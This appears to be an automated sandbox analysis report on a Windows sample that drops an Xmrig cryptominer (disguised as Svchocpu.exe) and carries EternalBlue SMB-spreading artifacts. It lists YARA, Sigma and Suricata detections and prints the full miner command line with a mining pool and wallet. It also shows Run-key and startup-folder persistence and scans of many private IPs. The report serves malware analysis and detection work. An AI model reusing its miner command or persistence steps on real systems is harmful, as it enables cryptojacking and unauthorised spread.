0000001B.00000000.2176836796.00000000011EA000.00000002.00000001.01000000.00000003.sdmp	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x5bb4e:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x5bf6a:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x5bc16:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x5bdc7:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x5c032:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll
0000001B.00000002.2185602892.00000000011EA000.00000002.00000001.01000000.00000003.sdmp	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x5bb4e:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x5bf6a:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x5bc16:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x5bdc7:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x5c032:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll
Process Memory Space: file.exe PID: 4208	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: file.exe PID: 4208	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 4208	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x124930:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x124d45:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x126058:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x12646e:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x1249f8:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x124ba5:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x124e0d:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x126120:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x1262cf:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x126536:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll
Process Memory Space: Svchocpu.exe PID: 5704	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: file.exe PID: 5700	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: file.exe PID: 5700	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x2fef7:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x3030c:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x3161f:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x31a35:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x2ffbf:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x3016c:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x303d4:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x316e7:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x31896:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x31afd:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll
Process Memory Space: Svchocpu.exe PID: 3556	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: Svchocpu.exe PID: 7060	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: Svchocpu.exe PID: 5928	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: Svchocpu.exe PID: 5176	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: Svchocpu.exe PID: 6508	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Click to see the 32 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
27.0.file.exe.f30000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
27.0.file.exe.f30000.0.unpack	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x314d4e:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x31516a:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x314e16:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x314fc7:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x315232:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll
27.2.file.exe.f30000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
27.2.file.exe.f30000.0.unpack	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x314d4e:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x31516a:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x314e16:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x314fc7:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x315232:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll
0.0.file.exe.f30000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0.0.file.exe.f30000.0.unpack	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x314d4e:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x31516a:$cm1: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll 0x314e16:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x314fc7:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll 0x315232:$cm2: --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll
Click to see the 1 entries

Sigma Signatures

Bitcoin Miner

Sigma detected: Xmrig

Source: Process started

Author: Joe Security: Data: Command: C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K, CommandLine: C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K, CommandLine|base64offset|contains: , Image: C:\ProgramData\Svchocpu.exe, NewProcessName: C:\ProgramData\Svchocpu.exe, OriginalFileName: C:\ProgramData\Svchocpu.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 4208, ParentProcessName: file.exe, ProcessCommandLine: C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K, ProcessId: 5704, ProcessName: Svchocpu.exe

System Summary

Sigma detected: Potential Crypto Mining Activity

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K, CommandLine: C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K, CommandLine|base64offset|contains: , Image: C:\ProgramData\Svchocpu.exe, NewProcessName: C:\ProgramData\Svchocpu.exe, OriginalFileName: C:\ProgramData\Svchocpu.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 4208, ParentProcessName: file.exe, ProcessCommandLine: C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K, ProcessId: 5704, ProcessName: Svchocpu.exe

Sigma detected: Suspicious Epmap Connection

Source: Network Connection

Author: frack113, Tim Shelton (fps): Data: DestinationIp: 192.168.2.1, DestinationIsIpv6: false, DestinationPort: 135, EventID: 3, Image: C:\Users\user\Desktop\file.exe, Initiated: true, ProcessId: 4208, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49899

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\Desktop\file.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\file.exe, ProcessId: 4208, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\QQMusic

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\file.exe, ProcessId: 4208, TargetFilename: K:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\spread.exe

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\Desktop\file.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\file.exe, ProcessId: 4208, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\QQMusic

Suricata Signatures

ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T18:22:19.273967+0200	2047928	2	Crypto Currency Mining Activity Detected	192.168.2.6	59596	1.1.1.1	53	UDP

ETPRO COINMINER XMR CoinMiner Usage

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T18:18:05.557854+0200	2826930	2	Crypto Currency Mining Activity Detected	192.168.2.6	52344	141.94.96.71	3333	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\ProgramData\Svchocpu.exe	Avira: detection malicious, Label: TR/Miner.aexgz
Source: C:\ProgramData\spread.txt	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\ProgramData\X86.dll	Avira: detection malicious, Label: HEUR/AGEN.1303057

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\SMB.exe	ReversingLabs: Detection: 75%
Source: C:\ProgramData\Svchocpu.exe	ReversingLabs: Detection: 69%
Source: C:\ProgramData\spread.txt	ReversingLabs: Detection: 86%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 86%

Machine Learning detection for dropped file

Source: C:\ProgramData\SMB.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Svchocpu.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\spread.txt	Joe Sandbox ML: detected
Source: C:\ProgramData\X86.dll	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Exploits

Connects to many different private IPs (likely to spread or exploit)

Source: global traffic	TCP traffic: 192.168.2.148:80
Source: global traffic	TCP traffic: 192.168.2.149:80
Source: global traffic	TCP traffic: 192.168.2.146:80
Source: global traffic	TCP traffic: 192.168.2.147:80
Source: global traffic	TCP traffic: 192.168.2.140:80
Source: global traffic	TCP traffic: 192.168.2.141:80
Source: global traffic	TCP traffic: 192.168.2.144:80
Source: global traffic	TCP traffic: 192.168.2.145:80
Source: global traffic	TCP traffic: 192.168.2.142:80
Source: global traffic	TCP traffic: 192.168.2.143:80
Source: global traffic	TCP traffic: 192.168.2.159:80
Source: global traffic	TCP traffic: 192.168.2.157:80
Source: global traffic	TCP traffic: 192.168.2.158:80
Source: global traffic	TCP traffic: 192.168.2.151:80
Source: global traffic	TCP traffic: 192.168.2.152:80
Source: global traffic	TCP traffic: 192.168.2.150:80
Source: global traffic	TCP traffic: 192.168.2.155:80
Source: global traffic	TCP traffic: 192.168.2.156:80
Source: global traffic	TCP traffic: 192.168.2.153:80
Source: global traffic	TCP traffic: 192.168.2.154:80
Source: global traffic	TCP traffic: 192.168.2.126:80
Source: global traffic	TCP traffic: 192.168.2.247:80
Source: global traffic	TCP traffic: 192.168.2.127:80
Source: global traffic	TCP traffic: 192.168.2.248:80
Source: global traffic	TCP traffic: 192.168.2.124:80
Source: global traffic	TCP traffic: 192.168.2.245:80
Source: global traffic	TCP traffic: 192.168.2.125:80
Source: global traffic	TCP traffic: 192.168.2.246:80
Source: global traffic	TCP traffic: 192.168.2.128:80
Source: global traffic	TCP traffic: 192.168.2.249:80
Source: global traffic	TCP traffic: 192.168.2.129:80
Source: global traffic	TCP traffic: 192.168.2.240:80
Source: global traffic	TCP traffic: 192.168.2.122:80
Source: global traffic	TCP traffic: 192.168.2.243:80
Source: global traffic	TCP traffic: 192.168.2.123:80
Source: global traffic	TCP traffic: 192.168.2.244:80
Source: global traffic	TCP traffic: 192.168.2.120:80
Source: global traffic	TCP traffic: 192.168.2.241:80
Source: global traffic	TCP traffic: 192.168.2.121:80
Source: global traffic	TCP traffic: 192.168.2.242:80
Source: global traffic	TCP traffic: 192.168.2.97:80
Source: global traffic	TCP traffic: 192.168.2.137:80
Source: global traffic	TCP traffic: 192.168.2.96:80
Source: global traffic	TCP traffic: 192.168.2.138:80
Source: global traffic	TCP traffic: 192.168.2.99:80
Source: global traffic	TCP traffic: 192.168.2.135:80
Source: global traffic	TCP traffic: 192.168.2.98:80
Source: global traffic	TCP traffic: 192.168.2.136:80
Source: global traffic	TCP traffic: 192.168.2.139:80
Source: global traffic	TCP traffic: 192.168.2.250:80
Source: global traffic	TCP traffic: 192.168.2.130:80
Source: global traffic	TCP traffic: 192.168.2.251:80
Source: global traffic	TCP traffic: 192.168.2.91:80
Source: global traffic	TCP traffic: 192.168.2.90:80
Source: global traffic	TCP traffic: 192.168.2.93:80
Source: global traffic	TCP traffic: 192.168.2.133:80
Source: global traffic	TCP traffic: 192.168.2.254:80
Source: global traffic	TCP traffic: 192.168.2.92:80
Source: global traffic	TCP traffic: 192.168.2.134:80
Source: global traffic	TCP traffic: 192.168.2.95:80
Source: global traffic	TCP traffic: 192.168.2.131:80
Source: global traffic	TCP traffic: 192.168.2.252:80
Source: global traffic	TCP traffic: 192.168.2.94:80
Source: global traffic	TCP traffic: 192.168.2.132:80
Source: global traffic	TCP traffic: 192.168.2.253:80
Source: global traffic	TCP traffic: 192.168.2.104:80
Source: global traffic	TCP traffic: 192.168.2.225:80
Source: global traffic	TCP traffic: 192.168.2.105:80
Source: global traffic	TCP traffic: 192.168.2.226:80
Source: global traffic	TCP traffic: 192.168.2.102:80
Source: global traffic	TCP traffic: 192.168.2.223:80
Source: global traffic	TCP traffic: 192.168.2.103:80
Source: global traffic	TCP traffic: 192.168.2.224:80
Source: global traffic	TCP traffic: 192.168.2.108:80
Source: global traffic	TCP traffic: 192.168.2.229:80
Source: global traffic	TCP traffic: 192.168.2.109:80
Source: global traffic	TCP traffic: 192.168.2.106:80
Source: global traffic	TCP traffic: 192.168.2.227:80
Source: global traffic	TCP traffic: 192.168.2.107:80
Source: global traffic	TCP traffic: 192.168.2.228:80
Source: global traffic	TCP traffic: 192.168.2.100:80
Source: global traffic	TCP traffic: 192.168.2.221:80
Source: global traffic	TCP traffic: 192.168.2.101:80
Source: global traffic	TCP traffic: 192.168.2.222:80
Source: global traffic	TCP traffic: 192.168.2.220:80
Source: global traffic	TCP traffic: 192.168.2.115:80
Source: global traffic	TCP traffic: 192.168.2.236:80
Source: global traffic	TCP traffic: 192.168.2.116:80
Source: global traffic	TCP traffic: 192.168.2.237:80
Source: global traffic	TCP traffic: 192.168.2.113:80
Source: global traffic	TCP traffic: 192.168.2.234:80
Source: global traffic	TCP traffic: 192.168.2.114:80
Source: global traffic	TCP traffic: 192.168.2.235:80
Source: global traffic	TCP traffic: 192.168.2.119:80
Source: global traffic	TCP traffic: 192.168.2.117:80
Source: global traffic	TCP traffic: 192.168.2.238:80
Source: global traffic	TCP traffic: 192.168.2.118:80
Source: global traffic	TCP traffic: 192.168.2.239:80
Source: global traffic	TCP traffic: 192.168.2.111:80
Source: global traffic	TCP traffic: 192.168.2.232:80
Source: global traffic	TCP traffic: 192.168.2.112:80
Source: global traffic	TCP traffic: 192.168.2.233:80
Source: global traffic	TCP traffic: 192.168.2.230:80
Source: global traffic	TCP traffic: 192.168.2.110:80
Source: global traffic	TCP traffic: 192.168.2.231:80
Source: global traffic	TCP traffic: 192.168.2.203:80
Source: global traffic	TCP traffic: 192.168.2.204:80
Source: global traffic	TCP traffic: 192.168.2.201:80
Source: global traffic	TCP traffic: 192.168.2.202:80
Source: global traffic	TCP traffic: 192.168.2.207:80
Source: global traffic	TCP traffic: 192.168.2.208:80
Source: global traffic	TCP traffic: 192.168.2.205:80
Source: global traffic	TCP traffic: 192.168.2.206:80
Source: global traffic	TCP traffic: 192.168.2.200:80
Source: global traffic	TCP traffic: 192.168.2.209:80
Source: global traffic	TCP traffic: 192.168.2.214:80
Source: global traffic	TCP traffic: 192.168.2.215:80
Source: global traffic	TCP traffic: 192.168.2.212:80
Source: global traffic	TCP traffic: 192.168.2.213:80
Source: global traffic	TCP traffic: 192.168.2.218:80
Source: global traffic	TCP traffic: 192.168.2.219:80
Source: global traffic	TCP traffic: 192.168.2.216:80
Source: global traffic	TCP traffic: 192.168.2.217:80
Source: global traffic	TCP traffic: 192.168.2.210:80
Source: global traffic	TCP traffic: 192.168.2.211:80
Source: global traffic	TCP traffic: 192.168.2.39:80
Source: global traffic	TCP traffic: 192.168.2.38:80
Source: global traffic	TCP traffic: 192.168.2.42:80
Source: global traffic	TCP traffic: 192.168.2.41:80
Source: global traffic	TCP traffic: 192.168.2.44:80
Source: global traffic	TCP traffic: 192.168.2.43:80
Source: global traffic	TCP traffic: 192.168.2.46:80
Source: global traffic	TCP traffic: 192.168.2.45:80
Source: global traffic	TCP traffic: 192.168.2.48:80
Source: global traffic	TCP traffic: 192.168.2.47:80
Source: global traffic	TCP traffic: 192.168.2.40:80
Source: global traffic	TCP traffic: 192.168.2.28:80
Source: global traffic	TCP traffic: 192.168.2.27:80
Source: global traffic	TCP traffic: 192.168.2.29:80
Source: global traffic	TCP traffic: 192.168.2.31:80
Source: global traffic	TCP traffic: 192.168.2.30:80
Source: global traffic	TCP traffic: 192.168.2.33:80
Source: global traffic	TCP traffic: 192.168.2.32:80
Source: global traffic	TCP traffic: 192.168.2.35:80
Source: global traffic	TCP traffic: 192.168.2.34:80
Source: global traffic	TCP traffic: 192.168.2.37:80
Source: global traffic	TCP traffic: 192.168.2.36:80
Source: global traffic	TCP traffic: 192.168.2.17:80
Source: global traffic	TCP traffic: 192.168.2.16:80
Source: global traffic	TCP traffic: 192.168.2.19:80
Source: global traffic	TCP traffic: 192.168.2.18:80
Source: global traffic	TCP traffic: 192.168.2.20:80
Source: global traffic	TCP traffic: 192.168.2.22:80
Source: global traffic	TCP traffic: 192.168.2.21:80
Source: global traffic	TCP traffic: 192.168.2.24:80
Source: global traffic	TCP traffic: 192.168.2.23:80
Source: global traffic	TCP traffic: 192.168.2.26:80
Source: global traffic	TCP traffic: 192.168.2.25:80
Source: global traffic	TCP traffic: 192.168.2.11:80
Source: global traffic	TCP traffic: 192.168.2.10:80
Source: global traffic	TCP traffic: 192.168.2.13:80
Source: global traffic	TCP traffic: 192.168.2.12:80
Source: global traffic	TCP traffic: 192.168.2.15:80
Source: global traffic	TCP traffic: 192.168.2.14:80
Source: global traffic	TCP traffic: 192.168.2.0:80
Source: global traffic	TCP traffic: 192.168.2.2:80
Source: global traffic	TCP traffic: 192.168.2.1:80
Source: global traffic	TCP traffic: 192.168.2.180:80
Source: global traffic	TCP traffic: 192.168.2.181:80
Source: global traffic	TCP traffic: 192.168.2.8:80
Source: global traffic	TCP traffic: 192.168.2.7:80
Source: global traffic	TCP traffic: 192.168.2.9:80
Source: global traffic	TCP traffic: 192.168.2.4:80
Source: global traffic	TCP traffic: 192.168.2.3:80
Source: global traffic	TCP traffic: 192.168.2.6:19490
Source: global traffic	TCP traffic: 192.168.2.5:80
Source: global traffic	TCP traffic: 192.168.2.86:80
Source: global traffic	TCP traffic: 192.168.2.85:80
Source: global traffic	TCP traffic: 192.168.2.88:80
Source: global traffic	TCP traffic: 192.168.2.87:80
Source: global traffic	TCP traffic: 192.168.2.89:80
Source: global traffic	TCP traffic: 192.168.2.184:80
Source: global traffic	TCP traffic: 192.168.2.185:80
Source: global traffic	TCP traffic: 192.168.2.80:80
Source: global traffic	TCP traffic: 192.168.2.182:80
Source: global traffic	TCP traffic: 192.168.2.183:80
Source: global traffic	TCP traffic: 192.168.2.82:80
Source: global traffic	TCP traffic: 192.168.2.188:80
Source: global traffic	TCP traffic: 192.168.2.81:80
Source: global traffic	TCP traffic: 192.168.2.189:80
Source: global traffic	TCP traffic: 192.168.2.84:80
Source: global traffic	TCP traffic: 192.168.2.186:80
Source: global traffic	TCP traffic: 192.168.2.83:80
Source: global traffic	TCP traffic: 192.168.2.187:80
Source: global traffic	TCP traffic: 192.168.2.191:80
Source: global traffic	TCP traffic: 192.168.2.192:80
Source: global traffic	TCP traffic: 192.168.2.190:80
Source: global traffic	TCP traffic: 192.168.2.75:80
Source: global traffic	TCP traffic: 192.168.2.74:80
Source: global traffic	TCP traffic: 192.168.2.77:80
Source: global traffic	TCP traffic: 192.168.2.76:80
Source: global traffic	TCP traffic: 192.168.2.79:80
Source: global traffic	TCP traffic: 192.168.2.78:80
Source: global traffic	TCP traffic: 192.168.2.195:80
Source: global traffic	TCP traffic: 192.168.2.196:80
Source: global traffic	TCP traffic: 192.168.2.193:80
Source: global traffic	TCP traffic: 192.168.2.194:80
Source: global traffic	TCP traffic: 192.168.2.71:80
Source: global traffic	TCP traffic: 192.168.2.199:80
Source: global traffic	TCP traffic: 192.168.2.70:80
Source: global traffic	TCP traffic: 192.168.2.73:80
Source: global traffic	TCP traffic: 192.168.2.197:80
Source: global traffic	TCP traffic: 192.168.2.72:80
Source: global traffic	TCP traffic: 192.168.2.198:80
Source: global traffic	TCP traffic: 192.168.2.64:80
Source: global traffic	TCP traffic: 192.168.2.63:80
Source: global traffic	TCP traffic: 192.168.2.66:80
Source: global traffic	TCP traffic: 192.168.2.168:80
Source: global traffic	TCP traffic: 192.168.2.65:80
Source: global traffic	TCP traffic: 192.168.2.169:80
Source: global traffic	TCP traffic: 192.168.2.68:80
Source: global traffic	TCP traffic: 192.168.2.67:80
Source: global traffic	TCP traffic: 192.168.2.69:80
Source: global traffic	TCP traffic: 192.168.2.162:80
Source: global traffic	TCP traffic: 192.168.2.163:80
Source: global traffic	TCP traffic: 192.168.2.160:80
Source: global traffic	TCP traffic: 192.168.2.161:80
Source: global traffic	TCP traffic: 192.168.2.60:80
Source: global traffic	TCP traffic: 192.168.2.166:80
Source: global traffic	TCP traffic: 192.168.2.167:80
Source: global traffic	TCP traffic: 192.168.2.62:80
Source: global traffic	TCP traffic: 192.168.2.164:80
Source: global traffic	TCP traffic: 192.168.2.61:80
Source: global traffic	TCP traffic: 192.168.2.165:80
Source: global traffic	TCP traffic: 192.168.2.170:80
Source: global traffic	TCP traffic: 192.168.2.49:80
Source: global traffic	TCP traffic: 192.168.2.53:80
Source: global traffic	TCP traffic: 192.168.2.52:80
Source: global traffic	TCP traffic: 192.168.2.55:80
Source: global traffic	TCP traffic: 192.168.2.179:80
Source: global traffic	TCP traffic: 192.168.2.54:80
Source: global traffic	TCP traffic: 192.168.2.57:80
Source: global traffic	TCP traffic: 192.168.2.56:80
Source: global traffic	TCP traffic: 192.168.2.59:80
Source: global traffic	TCP traffic: 192.168.2.58:80
Source: global traffic	TCP traffic: 192.168.2.173:80
Source: global traffic	TCP traffic: 192.168.2.174:80
Source: global traffic	TCP traffic: 192.168.2.171:80
Source: global traffic	TCP traffic: 192.168.2.172:80
Source: global traffic	TCP traffic: 192.168.2.177:80
Source: global traffic	TCP traffic: 192.168.2.178:80
Source: global traffic	TCP traffic: 192.168.2.51:80
Source: global traffic	TCP traffic: 192.168.2.175:80
Source: global traffic	TCP traffic: 192.168.2.50:80
Source: global traffic	TCP traffic: 192.168.2.176:80

Connects to many different private IPs via SMB (likely to spread or exploit)

Source: global traffic	TCP traffic: 192.168.2.148:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.149:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.146:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.147:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.140:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.141:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.144:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.145:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.142:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.143:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.159:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.157:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.158:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.151:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.152:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.150:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.155:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.156:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.153:445	Jump to behavior
